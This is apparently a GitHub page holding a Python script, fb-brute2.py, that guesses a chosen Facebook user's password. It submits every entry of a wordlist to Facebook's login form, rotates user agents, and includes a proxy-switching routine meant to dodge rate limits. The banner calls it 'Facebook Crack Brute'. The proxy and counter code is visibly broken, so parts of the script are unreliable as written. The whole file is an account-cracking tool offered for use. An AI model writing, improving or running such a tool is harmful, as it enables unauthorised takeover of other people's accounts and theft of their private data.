-
Notifications
You must be signed in to change notification settings - Fork 110
/
Copy pathfb-brute2.py
108 lines (96 loc) · 3.33 KB
/
fb-brute2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# This Coding is Code in python 2 now it will be renewed soon
import sys
import mechanize
import http.cookiejar as cookielib
import random
# pip install mechanize
# pip install requests
email = str(input("Enter the Facebook Username (or) Email (or) Phone Number: "))
passwordlist = str(input("Enter the wordlist name and path: "))
login = 'https://www.facebook.com/login.php?login_attempt=1'
useragents = [
('Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')
]
def main():
global br
br = mechanize.Browser()
cj = cookielib.LWPCookieJar()
br.set_handle_robots(False)
br.set_handle_redirect(True)
br.set_cookiejar(cj)
br.set_handle_equiv(True)
br.set_handle_referer(True)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
welcome()
search()
print("Password does not exist in the wordlist")
def brute(password):
sys.stdout.write("\r[*] Trying ..... {}\n".format(password))
sys.stdout.flush()
br.addheaders = [('User-agent', random.choice(useragents))]
site = br.open(login)
br.select_form(nr=0)
br.form['email'] = email
br.form['pass'] = password
sub = br.submit()
log = sub.geturl()
if log != login and ('login_attempt' not in log):
print("\n\n[+] Password Found = {}".format(password))
input("ANY KEY to Exit....")
sys.exit(1)
def change_proxy():
proxies = [
'http://proxy1.example.com:8080',
'http://proxy2.example.com:8080',
'http://proxy3.example.com:8080'
]
proxy = random.choice(proxies)
br.set_proxies({"http": proxy, "https": proxy})
print("[*] Changed proxy to {}".format(proxy))
sys.stdout.write("\r[*] Trying ..... {}\n".format(password))
sys.stdout.flush()
br.addheaders = [('User-agent', random.choice(useragents))]
site = br.open(login)
br.select_form(nr=0)
br.form['email'] = email
br.form['pass'] = password
sub = br.submit()
log = sub.geturl()
if log != login and ('login_attempt' not in log):
print("\n\n[+] Password Found = {}".format(password))
input("ANY KEY to Exit....")
sys.exit(1)
global attempt_count
attempt_count = 0
attempt_count += 1
if attempt_count % 3 == 0:
change_proxy()
def search():
global password
passwords = open(passwordlist, "r")
for password in passwords:
password = password.replace("\n", "")
brute(password)
def welcome():
wel = """
+=========================================+
|.......... Facebook Crack Brute ...........|
+-----------------------------------------+
| #Author: Learn And Earn |
| Version 2.0 |
| https://www.youtube.com/@LearnAndEarn101YT |
+=========================================+
|.......... fb-brute ...........|
+-----------------------------------------+\n\n
"""
total = open(passwordlist, "r")
total = total.readlines()
print(wel)
print(" [*] Account to crack: {}".format(email))
print(" [*] Loaded:", len(total), "passwords")
print(" [*] Cracking, please wait ...\n\n")
if __name__ == '__main__':
main()